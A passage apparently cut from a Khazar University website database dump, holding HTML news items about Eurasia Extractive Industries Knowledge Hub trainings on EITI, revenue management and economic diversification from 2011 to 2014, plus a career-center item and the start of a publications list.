#000000;width:150px;height:112px;margin:7px;float:left\"><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p><br></p><p><br></p><p><br></p><p><strong>On April 7-9, 2014</strong>&nbsp;Eurasia Extractive Industries Knowledge Hub at Khazar University organized training on “Revenue Management and Economic Diversification in Extractive Countries” in Baku. Representatives of scientific research organizations, universities, state agencies and parliament, journalists and CSO from Azerbaijan, Russia, Kazakhstan, Tajikistan, Ukraine and Kyrgyzstan participated at this training. Hub director, Ingilab Ahmadov talked about actuality of presented topics, goals and practical importance of training program at opening speech. &nbsp;Presentations on revenue management, macroeconomic conditions for resource rich countries, sovereign wealth funds, fiscal rules, state owned oil and gas enterprises diversification of economy and export and ways of achieving sustainable development were delivered at training. Participants provided interactive discussions and group works on presented topics On the second day of the training participants made presentations on sovereign wealth funds of Russia and Kazakhstan.&nbsp;</p><p>Training was very interesting to participants: “My attendance in this training will help me when interviewing or preparing articles” – said Nargiz Nanakeyeva, investigative journalist from Kyrgyzstan. Importance and practical use of this training was stated by PhD Yerlan Abil from Kazakhstan and budget expert Kurmanbek Turdaliyev from Kyrgyzstan. CSO representatives also spoke about importance and need for such trainings. 3 days training was delivered by RWI expert Thomas Lassurd and well-known Azerbaijan experts.&nbsp;</p><p>At the end of the training participants were granted certificates and presents from Khazar University. Special city tour was organized for training participants for site-seeing.  <br></p><p><img src=\"http://www.khazar.org/files/demo/14_11_27_RM%26ED-1.JPG\" style=\"border:0px  #000000;width:150px;height:100px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_27_RM%26ED-2.JPG\" style=\"border:0px  #000000;width:150px;height:100px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_27_RM%26ED-3.JPG\" style=\"border:0px  #000000;width:150px;height:100px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><strong>On February 20-21, 2014&nbsp;</strong>&nbsp;Eurasia Extractive Industries Knowledge Hub organized training for multi-stakeholder group (MSG) on EITI in Kyiv, Ukraine. Despite to very serious and complicated situation, the Hub together with partner organizations in Ukraine \"Q-Club Energy\" and PWYP Eurasia Office was able to achieve put targets. The participants of the training were 25 people from the Ministry of Energy and Coal Industry, The Ministry of Economic Development, Ministry of Incomes and State Service of Geology and Mineral Resources of Ukraine, as well as National Commission for State Energy Regulation, representatives of extractive companies Shell and Chevron and civil society. Topics delivered to participants included necessity of transparency in extractive sector of Ukraine, EITI Standard, specifics of licensing for natural resource production, types of revenues in extractive sector, state companies, sub-national transfers and social impacts of extractive sector.&nbsp;</p><p>The training participants analyzed work plan of Ukraine on EITI, defined obstacles in successful realization of this initiative and next steps in this regard. The training was delivered by Galib Efendiyev and Ingilab Ahmadov, who answered to numerous questions and shared with experiences of other countries.  <br></p><img src=\"http://www.khazar.org/files/demo/14_11_27_Ukraine_Feb.JPG\" style=\"border:0px  #000000;width:150px;height:99px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_27_Ukraine_Feb2.JPG\" style=\"border:0px  #000000;width:150px;height:100px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_27_Ukraine_Feb3.JPG\" style=\"border:0px #000000;width:148px;height:110px;margin:7px;float:left\"><p><br></p><br></div>  <br></div>'),(2255,1377,'en','Career Center Holds Meeting with Ganja Euro-Atlantic Information Center ','On October 3, 2016, the Khazar University Career Center held a meeting with Mehman Khalilov, Chairman of the Ganja Euro-Atlantic Information Center...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 3, 2016, the Khazar\r\nUniversity Career Center held a meeting with Mehman Khalilov, Chairman of the\r\nGanja Euro-Atlantic Information Center. Ulviyya Huseynova, coordinator of the\r\nCareer Center, and Rima Mammadova, Coordinator of the Center for Students with\r\nDisabilities, participated in the meeting. They discussed the “Successful\r\nCareer Development” forum for 9<sup>th</sup> to 11<sup>th</sup> grade students\r\nin Ganja as well as other opportunities for partnership. Mehman Khalilov,\r\nChairman of the Ganja Euro-Atlantic Information Center, was also acquainted\r\nwith the activities of the Khazar University Career Center.&nbsp;</p>'),(1162,732,'en','2013','2013','<div><br></div><div><div><p><strong>Eurasia Hub’s Events in 2013</strong></p><p>In 2013 Eurasia Hub has delivered a number of courses in some Eurasian countries, based on the country needs.&nbsp;</p><p><br></p><p>On December 13-14&nbsp;Revenue Watch Institute and Global Organization of Parliamentarians Against Corruption organized the first Regional Workshop of Parliamentarians of Eurasia. 19 MPs and MP assistants from Azerbaijan, Kazakhstan, Russia, Mongolia and Kyrgyzstan participated at this regional event where the topic was “Managing Oil, gas and mineral resources”.</p><p>RWI staff members Galib Efendiyev, Femke Broumer, Andrew Bauer and Eurasia EI Knowledge HUB&nbsp; director Ingilab Ahmadov covered topics on Value Chain, Resource Governance Index and places of countries from Eurasia Region in RGI, Managing and Distributing Extractive Revenues, Budget Cycle and Extractive, as well as Natural Resource Funds.</p><p>The groups of mixed country representatives participated on practical sessions, where country profiles of RGI, Natural Resource Fund of Kazakhstan, Revenue Management in Azerbaijan were discussed. Resource Governance Index recommendations.</p><p>There were active debates and discussions&nbsp; on Natural Resource Fund transparency and independent oversight. Case of Kazakhstan was discussed and MPs shared their opinions on how oil money could be managed, spent and invested.</p><p>On the second day of the workshop Eurasia EI Knowledge Hub director, Dr. Ingilab Ahmadov made a presentation on extractives and budget cycle. In practical session participants were asked on their opinion on budget offices at parliaments.</p><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_1_1.jpg\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_1_2.jpg\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_1_3.jpg\"><div><p>On November 21-23rd&nbsp;Eurasia Extractive Industries Knowledge Hub organized training on “EITI new Standards” in Issyk Kul, Kyrgyzstan. Trainers Ingilab Ahmadov and Fariz Ahmadov delivered topics on “Place of EITI in Value Chain”, “Conception and practice of application of New Standards”, “Reporting within new Standards”, “Typical mistakes in completion of reporting forms”, as well as “Opportunities of establishment of Sovereign Wealth Fund in Kyrgyzstan”.</p><p>The training was attended by medium and high ranked officials from the Ministry of Economy, Ministry of Finance, Ministry of Energy, State Agency on Geology, Members of the Parliament, representatives of local authorities, EITI Secretariat, as well as independent consultants and experts. More than 40 people participating in practical sessions analyzed new Standards and also problems existing in decision making within different agencies, for example issuing license on field development and further control.</p><p>In this training Eurasia Hub applied ToT method and used trainer and expert potential of HUB in Kyrgyzstan. Such, 2 alumni of the Hub participated in training providing, and 4 others delivered their expertise on extractive sector and main problems on transparency in Kyrgyzstan.</p></div><div><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_2_1.jpg\" style=\"border:0px  #000000;width:200px;height:151px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_2_2.jpg\" style=\"border:0px  #000000;width:200px;height:150px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_2_3.jpg\" style=\"border:0px  #000000;width:200px;height:150px;margin:7px;float:left\"><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div>In accordance with the strategy of Khazar University Eurasia Knowledge Hub, a routine event called “Training Trainers” held for the graduates who had demonstrated the best results in the training events that were held by the center in 2013.</div><div><p>The training was conducted by qualified instructors of the GRBS training center on 11-13 November in Baku. The purpose of the event was to built graduates’ skills and capacity in the field of training and to train new trainers in extractive industries in Eurasia.</p><p>During the training event, 8 participants from 4 countries-- Azerbaijan, Kazakhstan, Kyrgyzstan and Ukraine -- gained valuable knowledge on needs assessment, development of a training program, training methods, preparation of professional presentations, management questions and answers, audience management, work with challenging participants, evaluation, and so on. At the end of the training, based on their newly-acquired knowledge, participants prepared and presented training programs.</p><p>Eurasia Knowledge Hub held this “Training Trainers” course for the third time. A total of 22 new trainers of Eurasia Knowledge Hub have been prepared.&nbsp; With their help, the Center organizes large-scale training events in 13 countries involved in extractive industries in the Eurasia region.</p><p><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_3_2.jpg\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_3_1.jpg\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_3_3.jpg\"></p><p>On September 21-23, 2013&nbsp;the Eurasia Knowledge Hub together with Revenue Watch Institute (RWI), Publish What You Pay (PWYP) and International Business and Economic Development Center in Batumi,&nbsp; Georgia organized a Regional Workshop for CSO representatives of nine countries of the Eurasia Region. This was the first regional event after adoption of the New EITI Standard in Sydney this year.</p><p>Representatives from Azerbaijan, Albania, Mongolia, Moldova, Georgia, Kazakhstan, Kyrgyzstan, Tajikistan, and Ukraine participated at the workshop. The first two days of the event were devoted to capacity building on New Standards. The training resulted in civil society identifying key national priority areas to advance implementation of the new EITI standard. Common issues centered around a public registry of licenses as well as a transparent license tender process, volume of production, better disclosure of information from state-owned companies, contract transparency, beneficial ownership as well as more information on how the revenues are allocated in the national budgets.&nbsp;</p><p><br></p><p><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_4.jpg\" style=\"border:0px  #000000;width:200px;height:129px;margin:7px;float:left\">&nbsp;&nbsp;In August 22-24, 2013&nbsp;the Eurasia Knowledge Hub held training &nbsp;on “Revenue management\" in Kazakhstan.&nbsp;The training was held in Almaty, but also attended by researchers from Astana,&nbsp; Shymkent and Semipalatinsk. The trainer Ingilab Ahmadov delivered training sessions that covered topics on value chain and revenue management in this chain, modules on revenue management,</p><p></p><p>practices of numerous countries, sovereign wealth funds, including the fiscal rules applied in management of revenues and studies of oil revenues. Additionally, the participants were told about comparative analysis of experiences of both Azerbaijan and Kazakhstan on revenue management and toolkit developed by Revenue Watch Institute.</p></div><div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_5.jpg\" style=\"border:0px  #000000;width:200px;height:150px;margin:7px;float:left\">&nbsp;In July 11-13, 2013&nbsp;the Eurasia Knowledge Hub held 3-day training for Kosovo stakeholders on “Extractive Industries Value Chain\" in Durres, Albania. There were 25 participants in the training, including MP’s, Government officials, local extractive company representatives, media and CSO’s. The course was organized by Kosovo Foundation for Open Society. Eurasia Hub trainers Ingilab Ahmadov and Kenan Aslanli delivered presentation sessions and practical work on extractive<p>industries value chain, EITI new standards, reporting, and macroeconomic framework for resource-rich countries, Sovereign Wealth Funds, revenue management, revenues distribution at the sub-national level, state oil and gas companies, budgeting and budget advocacy were provided.</p><p><br></p><p>On July 4-6, 2013, the Khazar University Eurasia Knowledge Hub held a routine 3-day training on “Revenue management and economic diversification in the petroleum rich countries\" in Baku, Azerbaijan.</p><p>There were about 20 participants in the event, including representatives of research institutes, universities, government agencies, media, and civil society from 6 countries - Azerbaijan, Russia, Ukraine, Kazakhstan, Kyrgyzstan and Tajikistan.</p><p>During the training, presentations on revenue management, macroeconomic framework for resource-rich countries, Sovereign Wealth Funds, revenue management, revenues distribution at the sub-national level, state oil and gas companies, economic and export diversification and its measurement, from economic diversification to sustainable development, and more were made. Interactive discussions were held on all the topics that had been presented, and participants were divided into groups to perform specific tasks in group work.</p><p>Course has been conducted according to the program developed by the experts of the Revenue Watch Institute.</p><p>Participants were evaluated on daily base by trainers during the whole training. The alumni who earned the highest results from their evalutions will be invited to a \"Training for Trainers\" traditionally organized at the end of the year by Eurasia Knowledge Hub.&nbsp;&nbsp; &nbsp;</p><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_6_1.jpg\" style=\"border:0px  #000000;width:200px;height:133px;margin:7px;float:left\"></div><div><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_6_2.jpg\" style=\"border:0px  #000000;width:200px;height:133px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_6_3.jpg\" style=\"border:0px  #000000;width:200px;height:133px;margin:7px;float:left\"></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_7.jpg\" style=\"border:0px  #000000;width:200px;height:134px;margin:7px;float:left\">&nbsp;From June 24th&nbsp; to July 2nd&nbsp;,&nbsp;Eurasia Hub with the cooperation of Revenue Watch Institute (US) organized a summer school on “Economic Diversification and Sustainable Development in<p>Petroleum Rich Countries” at the School of Economics and Management of Khazar University. The course was delivered&nbsp; by the dean of the School of Economics and Management of Khazar</p><p>University and the director of Eurasia Hub Ingilab Ahmadov, economists Gubad Bayramov and Kenan Aslanli, and the Khazar University faculty members Namik Khalilov and Nijat Garayev . During eight days, students learned the specifics of petroleum economy, revenue management and economic diversification in the oil rich countries. Not only&nbsp; students of Khazar University, but also students of foreign universities participated in Course. At the end of the summer school, 25 students who participated in the course passed the exam and were awarded with certificates.</p><p>This is the second summer school organized by Eurasia Hub at Khazar University.</p><p><br></p><p>On May 7-10, 2013&nbsp;the Eurasia Extractive Industries Knowledge Hub arranged 4 days study tour for Afghanistan EITI MSG delegation. Eleven MSG members representing all stakeholders had meetings with the government representatives, extractive companies, audit company and CSO organizations. Another important element of this study tour was workshop titled “Towards EITI Compliance” organized by Eurasia Hub.<br>During the workshop the participants obtained knowledge and skills on new EITI standards, reporting requirements and specifics of Afghanistan, validation process, problems that occurred in Afghanistan during last validation process, as well as communication policy within EITI development.&nbsp;<br></p><p><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_8_1.jpg\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_8_2.jpg\">&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_8_3.jpg\"><br></p><p><br></p><p>On March 4-10, 2013&nbsp;Khazar University’s Eurasia Knowledge Hub held its routine training session entitled \"Value chain: production towards sustainable development.” About 20 members of civil society, media representatives, representatives of government agencies, and universities from six countries--Azerbaijan, Ukraine, Kazakhstan, Kyrgyzstan, Tajikistan and Mongolia-- participated in the training.&nbsp;<br></p><p>The presentations were made on subjects such as contracts in the extractive industries and their transparency, corporate social and environmental responsibility, EITI, budget issues, revenue management, sovereign funds (oil funds), economic diversification, and other areas.&nbsp;<br></p><p>On the second day of the training, BP specialists made interesting presentations on the company\'s social and fiscal commitments. After the presentations, the participants visited the Sangachal terminal of the Baku-Tbilisi-Ceyhan main export oil pipeline, where they had an up-close introduction to the business process. Comprehensive information about oil agreements, BP\'s operations in Azerbaijan and the Azeri-Chirag-Guneshli field was given to the participants at the terminal.</p><p>Specialists of America\'s Revenue Watch Institute, well-known experts Andrew Bauer and Susan Maples, made interesting presentations in the area of extractive industry contracts and their economic and legal aspects, contracts of employment and fiscal instruments, signing contracts, revenue management, sovereign wealth funds and macroeconomic management at the event. During the training, participants held interactive discussions about all the subjects that had been presented, and they divided into groups to perform specific tasks.</p><p>Participants were evaluated daily by trainers during the week-long training event. The alumni who earned the highest results from their evalutions will be invited to a \"Training for Trainers\" traditionally organized at the end of the year by Eurasia Knowledge Hub.</p><p><img src=\"http://www.khazar.org/files/demo/14_11_25_2013_9_1.jpg\" style=\"border:0px  #000000;width:200px;height:150px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_9_2.jpg\" style=\"border:0px  #000000;width:200px;height:150px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2013_9_3.jpg\" style=\"border:0px  #000000;width:200px;height:150px;margin:7px;float:left\"><br></p></div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><p>On February 26, 2013&nbsp;&nbsp;the Eurasia Knowledge Hub held training on EITI basic&nbsp;course in Tbilisi, Georgia.&nbsp; About 20 members of civil society, media representatives, representatives of government agencies, Georgian energy companies and BP participated in the training. The trainer Ingilab Ahmadov&nbsp; and RWI&nbsp; staff member Galib Efendiev delivered training sessions that covered topics on basic of EITI: requirements, the mechanism and benefits , process and stages, analyses of EITI report , evaluation of report\' quality and other areas.&nbsp; During the training, participants held interactive discussions about all the subjects that had been presented, and they divided into groups to perform specific tasks. &nbsp;</p>  <br></div>'),(1163,733,'en','2012','2012','<div><br></div><div><p style=\"font-size:medium\"><strong>Eurasia Hub’s Events in 2012</strong></p><p style=\"font-size:medium\">In 2012 Eurasia Hub has delivered a number of courses in some Eurasian countries, based on the country needs.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>On November 27-29</strong>&nbsp;Eurasia Extractive Industries Knowledge Hub organized training on “Training Trainers” for the graduates who had demonstrated the best results in the training events that were held by the center in 2012.</p><p style=\"font-size:medium\">The training was conducted by qualified instructors of the GRBS training center in Baku. The purpose of the event was to built graduates’ skills and capacity in the field of training and to train new trainers in extractive industries in Eurasia.</p><p style=\"font-size:medium\">During the training event, 7 participants from 4 countries-- Azerbaijan, Kazakhstan, Kyrgyzstan and Tajikistan-- gained valuable knowledge on needs assessment, development of a training program, training methods, preparation of professional presentations, management questions and answers, audience management, work with challenging participants, evaluation, and so on. At the end of the training, based on their newly-acquired knowledge, participants prepared and presented individual training programs.</p><p style=\"font-size:medium\">Eurasia Knowledge Hub held this “Training Trainers” course for the second time. A total of 14 new trainers of Eurasia Knowledge Hub have been prepared. With their help, the Center organizes large-scale training events in 13 countries involved in extractive industries in the Eurasia region.</p><p style=\"font-size:medium\"><img src=\"http://www.khazar.org/files/demo/14_11_25_2012_1_1.jpg\" style=\"border:0px  #000000;width:150px;height:112px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2012_1_2.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:112px;margin:7px\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_photo_1.jpg\" style=\"border:0px  #000000;width:150px;height:112px;margin:7px;float:left\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>On October 30- November 1, 2012,</strong>&nbsp;the Khazar University Eurasia Knowledge Hub held a routine 3-day training on “Revenue management and economic diversification.\"</p><p style=\"font-size:medium\">There were more than 20 participants in the event, including representatives of scientific research institutes, universities, government agencies, media, and civil society from five countries - Azerbaijan, Russia, Kazakhstan, Kyrgyzstan and Tajikistan.</p><p style=\"font-size:medium\">During the training, presentations were made on topics such as revenue management, macroeconomic frameworks for resource-rich countries, Sovereign Wealth Funds, macroeconomics management, revenues distribution at the sub-national level, state oil and gas companies, economic and export diversification and its measurement, from economic diversification to sustainable development, and more.</p><p style=\"font-size:medium\">Interactive discussions were held on all the topics that had been presented, and participants were divided into groups to perform specific tasks.</p><p style=\"font-size:medium\">On the second day of the training, participants made presentations on the situation of Sovereign Wealth Funds in Russia and Kazakhstan. On the last day of the training, an exam covering all the topics was given, and special certificates and Khazar University gifts were presented to the participants.</p><p style=\"font-size:medium\">We note that both local and foreign trainers were involved in this training event, which was carried out with the financial support of Revenue Watch Institute of America.</p><p style=\"font-size:medium\"><img src=\"http://www.khazar.org/files/demo/14_11_25_2012_2_1.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:100px;margin:7px\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2012_2_2.jpg\" style=\"border:0px  #000000;width:150px;height:100px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_2012_2_3.jpg\" style=\"border:0px  #000000;width:150px;height:100px;margin:7px;float:left\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><p style=\"font-size:medium\"><img src=\"http://www.khazar.org/files/demo/14_11_25_2012_3_1.jpg\" style=\"border:0px  #000000;width:150px;height:100px;margin:7px;float:left\"><strong>On June 25th, 2012</strong>&nbsp;the Extractive Industries Knowledge Hub began its summer school at Khazar University. It is the first time that Eurasia Extractive Industries Knowledge Hub has held this type of event at the university. The topic is “Economic Diversification and Sustainable Development in</p><p style=\"font-size:medium\"><strong></strong></p><p style=\"font-size:medium\">the Petroleum-Rich Countries.” The eight-day course will include not only lectures but also group work and individual exercises to equip the participants with practical knowledge and help them to improve economic issues as well as develop skills. 23 students from Khazar University and graduates from other universities are actively participating in this training.</p><p style=\"font-size:medium\">The trainers’ team includes: Andrew Bauer (Economic Analyst, RWI, NY, US), Ingilab Ahmadov (Director Eurasia HUB, Khazar University), Namik Khalilov (Khazar University faculty member), Kenan Aslanli (Independent expert on economic diversification (Azerbaijan)), and also Ziya Kengerli (State Oil Fund of the Republic of Azerbaijan (SOFAZ) expert).</p><p style=\"font-size:medium\">The Hub is planning to deliver this course as a regular summer school in the country and Caspian region.</p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><strong>O</strong><strong>n June 15-17, 2012</strong>&nbsp;&nbsp;Eurasia Extractive Industries Knowledge Hub in Khazar University has successfully delivered&nbsp; EITI advanced course for 18 representatives from Afghanistan, Mongolia,</p><p style=\"font-size:medium\"><img src=\"http://www.khazar.org/files/demo/14_11_25_2012_4.jpg\" style=\"border:0px #000000;width:150px;height:100px;margin:7px;float:left\"><strong></strong></p><p style=\"font-size:medium\">Ukraine, Kazakhstan, Kyrgyzstan, Tajikistan, Georgia and Azerbaijan. Course concentrated on such topics as EITI special mission role within EI value chain, Theory of change, RWI report quality indicators, EITI Report analysis tools, EITI Innovations. Additionally each country team has developed an action plan to take forward the knowledge acquired at the course to be applied to advancement of EITI processes in their respective countries.</p><p style=\"font-size:medium\">The trainers team included Katarina Kuai (RWI capacity building officer, Erica Westenberg (EITI policy officer (RWI)), Galib Efendiev (RWI Eurasia Regional Coordinator), Ingilab Ahmadov ( Director Eurasia HUB, Khazar University).</p><p style=\"font-size:medium\">Course participants were mostly from EITI MSG members from CSOs and local media institutions.</p><p style=\"font-size:medium\">Part of the participants attended 2011 Eurasia Hub EITI essentials course in Baku, whereas the other part were represented by activists with extensive knowledge and experience of EITI implementation in the country and regional levels.</p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><img src=\"http://www.khazar.org/files/demo/14_11_25_2012_5.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:113px;margin:7px\"><strong>&nbsp;</strong><strong>On March 31- April 6, 2012,&nbsp;</strong>Eurasia Extractive Industries Knowledge Hub in Khazar University held&nbsp; 7-day training entitled \"Hydrocarbons and Minerals: from extraction to sustainable development\".</p><p style=\"font-size:medium\">This training course was the fourth in series of training programs &nbsp;whose aim was to develop and strengthen the capacity of civil society of Eurasia continent in extractive industries.</p><p style=\"font-size:medium\"><strong></strong></p><p style=\"font-size:medium\">18 members of four countries - Azerbaijan, Kazakhstan, Kyrgyzstan and Tajikistan participated in the training. Most of them were representatives from NGO and Mass Media, but they were also from state agencies and universities. The schedule was filled with different modules but all of them</p><p style=\"font-size:medium\">were logically related to “Extractive industries value chain”. The most significant areas covered were: contracts, EITI, budget, revenue management and SWF, issues of economy diversification. Lectors involved in this training were both local and international specialists. BP experts also held some sessions. In general, the training focused on practical activities and skill development and lots of labs and group works were held. Additionally, a trip to Sanghachal terminal was organized, one of the biggest terminals in the world, where the Baku-Tbilisi-Jeyhan main export oil pipeline begins.</p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><strong>On November 12, 2012</strong>&nbsp;the Eurasia Knowledge Hub held training on EITI basic<strong>&nbsp;</strong>course in Dushanbe, Tajikistan.&nbsp; About 35 representatives of energy companies, members of civil society participated in the training. The trainer Ingilab Ahmadov, Fuat Rasulov&nbsp; and RWI&nbsp; staff member Galib Efendiev delivered training sessions that covered topics on basic of EITI: requirements, the mechanism and benefits , process and stages, analyses of EITI report , evaluation of report\' quality and other areas.&nbsp; During the training, participants held interactive discussions about all the subjects that had been presented, and they divided into groups to perform specific tasks.&nbsp;<br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p><strong><br></strong></p>  <br></div>'),(1164,734,'en','2011','2011','<div><br></div><div><p style=\"font-size:medium\"><strong>Eurasia Hub, first training</strong></p><p style=\"font-size:medium\">Khazar University and Revenue Watch Institute together with Eurasia Extractive Industries Knowledge Hub held a training titled “Hydrocarbon and Minerals - from Extraction to Sustainable Development” at Crescent Beach Hotel in Baku, Azerbaijan from February 15, 2011 to February 22, 2011. The objective of the training was to provide the audience with basic knowledge, tools and skills covering different aspects of the oil, gas, and mining industries. Fifteen civic society members from Mongolia, Kyrgyzstan, Kazakhstan and Azerbaijan attended this training.</p><p style=\"font-size:medium\">During the training, participants learned about the EI value chain, contract analyzing, revenue management and transparency, budget advocacy, etc. On the third day of the training, participants had a field trip to the world’s biggest terminal, Sangachal. A trip to the city for sightseeing was organized as well.</p><p style=\"font-size:medium\">It should be noted that the Eurasia EI Knowledge Hub aims at capacity building on extractive industries (oil and gas and mining), non-governmental organizations, civic society members, and media in the Eurasia region. The Hub organizes regular trainings and invites well-known international, regional, and local trainers as well as representatives of the organizations which are in need of these trainings such as NGO, media, and civic society members through a competitive selection process. The main teaching topics are oil and gas, mining industries’ contracts, EITI, budgeting, funds, and revenue management.</p><p style=\"font-size:medium\">Most participants are invited from Kazakhstan, Kyrgyzstan, Mongolia and Azerbaijan, as well as other&nbsp;countries of the region such as Bulgaria, Romania, Albania, Ukraine and Afghanistan. The Eurasia EI Knowledge Hub is a part of Revenue Watch Institute’s long-term perspective strategy in this field, and together with other similar Hubs’ (Ghana-Africa,&nbsp;South America-Peru) cooperation,&nbsp;it intends to become an important training center in the Eurasia region.</p><p style=\"font-size:medium\"><img src=\"http://www.khazar.org/files/demo/14_11_25_Value_chain%2C2011_3.JPG\" style=\"border:0px  #000000;width:150px;height:112px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_ToT%2C2011.JPG\" style=\"border:0px  #000000;width:150px;height:114px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_Value_chain%2C2011.JPG\" style=\"border:0px  #000000;width:150px;height:113px;margin:7px;float:left\"><strong><br></strong></p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>Eurasia Hub, second training</strong></p><p style=\"font-size:medium\">The Eurasia Extractive Industries Knowledge Hub in Khazar University held a training titled “EITI essentials” at Crescent Beach Hotel in Baku, Azerbaijan from May 28, 2011 till May 30, 2011. The objective of the training was to provide the participants with basic knowledge, tools and skills covering EITI and negotiation process. Twenty-two members of CSO’s, media, parliament, government and company representatives from Bulgaria, Albania, Afghanistan, Georgia, Indonesia, Ukraine, Turkey and Tajikistan attended this training.</p><p style=\"font-size:medium\">During the training participants gained knowledge about EITI purpose, governance, reporting, and choices in EITI, the role of CSO in EITI, EITI process, negotiation skills and EITI “beyond the basics issues.” All three days were filled with interactive training using appropriate materials and exercises. A trip to the city for sightseeing was organized as well.</p><p style=\"font-size:medium\">Among the participants of this session, ten were from EITI candidate countries (Albania, Afghanistan and Indonesia) and most were CSO representatives. By applying knowledge and skills gained during the program, attendees will be able to engage more actively in EITI development processes in their home countries.</p><p style=\"font-size:medium\">In the meantime, the other group country representatives have clearly demonstrated their intention to be involved in EITI; they were all highly motivated to learn strategies to further the process in their countries.</p><p style=\"font-size:medium\">The participants collaborated attentively. Two international and two local trainers made the training interactive and engaging. In almost all sessions the participants found the examples/cases interesting, and engaged in and completed the assigned tasks.</p><p style=\"font-size:medium\">At the onset of the training, participants were shown that they can play an important role in assisting and implementing the EITI process as they push EITI forward in their own countries.</p><p style=\"font-size:medium\">The Eurasia Hub believes these trainings and the ensuing dialogue will continue to be an ongoing process.</p><p><img src=\"http://www.khazar.org/files/demo/14_11_25_May%2C2011_1.jpg\" style=\"border:0px  #000000;width:150px;height:116px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_May%2C2011_2.jpg\" style=\"border:0px  #000000;width:150px;height:98px;margin:7px;float:left\">&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/demo/14_11_25_May%2C2011_3.jpg\" style=\"border:0px  #000000;width:150px;height:111px;margin:7px;float:left\"><br></p>  <div><br></div><br></div>'),(1165,735,'en','Publications','Publications','<h2><a>Diversification problems of Azerbaijani economy: obstacles and solutions</a></h2><p><em>Ingilab Ahmadov</em></p><p><a>Summary:</a>&nbsp;In this article Ingilab Ahmadov analyzes the conditions for economic diversification and obstacles in the way of it. He identifies that the strict monetary and credit policies, are hampering the success of economic diversification. The work emphasises that political condition are of an utmost importance in successful outcome of diversification policies. The environment in the country is enabling for diversification due to the revamped infrastructure, the drastic devaluation of the manat, the dramatic reduction of the average monthly wages as expressed in dollars, the reappearance of cheap workforce, and the presence of such a regional market as Russia. The establishment of ownership rights in the country and a favourable business environment are cornerstone for progress in economic diversification.</p><p>Please find the PDF:  <br></p><p><a href=\"http://www.http//edf.az/ts_general/eng/layihe/IIED/policy-papers/ingilab-ahmadov_diversification.pdf\" target=\"_blank\"><em>http://www.http://edf.az/ts_general/eng/layihe/IIED/policy-papers/ingilab-ahmadov_diversification.pdf</em></a></p><hr><h2><a>Human Capital Development in Azerbaijan</a></h2><p><em>Special Editor: Farid Guliyev, Research Associate at Eurasia Extractive Industries Knowledge 